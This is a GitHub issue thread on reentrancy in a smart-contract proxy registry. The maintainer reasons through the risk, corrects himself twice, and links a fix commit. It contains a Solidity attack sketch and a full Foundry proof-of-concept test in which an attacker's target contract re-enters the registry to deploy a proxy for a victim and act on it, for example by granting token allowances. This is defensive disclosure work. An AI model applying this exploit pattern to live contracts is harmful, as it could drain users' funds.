Reentrancy when deploying proxies

[PaulRBerg]

In my original design in #119, I attempted to block reentrancy by checking that the target contract is not the registry.

However, that check doesn't achieve much because the target contract itself could perform a call to the registry.

There are two ways to solve this:

1. Accept it as a necessary consequence of delegate-calling in the constructor, and write a test that proves that nothing harmful can happen when re-entering the registry.
2. Apply a ReentrancyGuard in the deploy functions.

[PaulRBerg]

I was wrong above - this is not a problem because in the subcall, the msg.sender would be the newly-deployed proxy:

registry = IPRBProxyRegistry(msg.sender)

Therefore, the following call will revert:

(address owner_, address target, bytes memory data) = registry.constructorParams();

Interestingly, the analysis continues beyond there. The would-be attacker could install a plugin for the constructorParams method, like this:

contract ConstructorParamsPlugin is IPRBProxyPlugin, PRBProxyStorage {
    function methodList() external pure override returns (bytes4[] memory) {
        bytes4[] memory methods = new bytes4[](1);
        methods[0] = this.constructorParams.selector;
        return methods;
    }

    function constructorParams() external pure returns (IPRBProxyRegistry.ConstructorParams memory) {
        return IPRBProxyRegistry.ConstructorParams({ owner: address(0), target: address(0), data: bytes("") });
    }
}

contract StrangeLoop is PRBProxyStorage {
    function loop(IPRBProxyRegistry registry, ConstructorParamsPlugin cpp, address owner) external {
        plugins[IPRBProxyRegistry.constructorParams.selector] = cpp;
        registry.deployFor(owner);
    }
}

But this wouldn't lead anywhere:

• If the attacker attempts to re-deploy the proxy for the original owner, the call would revert due to CREATE2 (the contract had already been deployed once)
• Deploying a proxy for another owner (via deployFor) would result in the same behavior because the nextSeeds are not updated prior to a proxy deployment.
• Importantly, even after the CREATE2 salt is switched to the owner (ref fix: use owner as CREATE2 salt #123), the attacker wouldn't achieve anything because they wouldn't be able to install the ConstructorParamsPlugin plugin onto itself (to install plugins, proxies need to exist first). So this would be a dead end. See explanation below!

[PaulRBerg]

Correction for the last point made above: although I was directionally correct, my last explanation was wrong (the one which is stricken through now).

registry.constructorParams cannot be impersonated because the proxy cannot attach logic onto itself on the fly, not because of the lack of ability to call installPlugin. The flow goes something like this:

• The call to registry.constructorParams enters the fallback function
• The fallback function looks up the plugin on the "registry"
• But the registry is the attacker's proxy due to the re-entrant DELEGATECALL
• The proxy ends up calling itself, and it reverts here:

registry.getPluginByOwner({ owner: owner, method: msg.sig });

[PaulRBerg]

I stand corrected. Reentrancy is possible because the msg.sender here would be the registry contract, not the newly-deployed proxy:

constructor() {
    registry = IPRBProxyRegistry(msg.sender);

This is the full test put together by Dirk, which has invalidated my comments above:

See attacker test

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.19 <=0.9.0;

import { IPRBProxy } from "src/interfaces/IPRBProxy.sol";
import { IPRBProxyRegistry } from "src/interfaces/IPRBProxyRegistry.sol";

import { Registry_Test } from "../Registry.t.sol";
import "forge-std/console.sol";

address constant ATTACKER = 0x0000000000000000000000000000000000000Bad;
address constant VICTIM = 0x000000000000000000000000000000000000cafE;

contract AttackerTarget {
    function doSomething(IPRBProxyRegistry _registry, address _victim) public {
        (address _deployingFor,,) = _registry.constructorParams(); //only way to get the current owner of the proxy
            // which is still under construction - getter function for owner isn't created yet and owner itself is an
            // immutable
        address ownerFromImmutable;
        assembly {
            ownerFromImmutable := mload(0x80)
        }
        console.log("ownerFromImmutable is %s", ownerFromImmutable);
        if (_deployingFor == ATTACKER) {
            console.log(
                "Deploying secondary proxy for %s from proxy %s with owner %s", _victim, address(this), _deployingFor
            );
            _registry.deployFor(_victim);
        } else {
            console.log("DO SOMETHING BAD on proxy %s with owner %s", address(this), _deployingFor); //e.g. set  allowances
                // on USDC, WETH etc. for the ATTACKER
        }
    }
}

contract AttackDeployAndExecute_Test is Registry_Test {
    bytes internal data;
    address internal target;

    function setUp() public override {
        Registry_Test.setUp();
        target = address(new AttackerTarget());
    }

    function testAttackDeployAndExecute() external {
        changePrank({ txOrigin: ATTACKER, msgSender: ATTACKER });
        data = abi.encodeWithSelector(AttackerTarget.doSomething.selector, registry, VICTIM);
        registry.deployAndExecute(target, data);
    }
}

[PaulRBerg]

This is fixed by emptying out the constructorParams.target and constructorParams.data properties, see this commit:

07fed42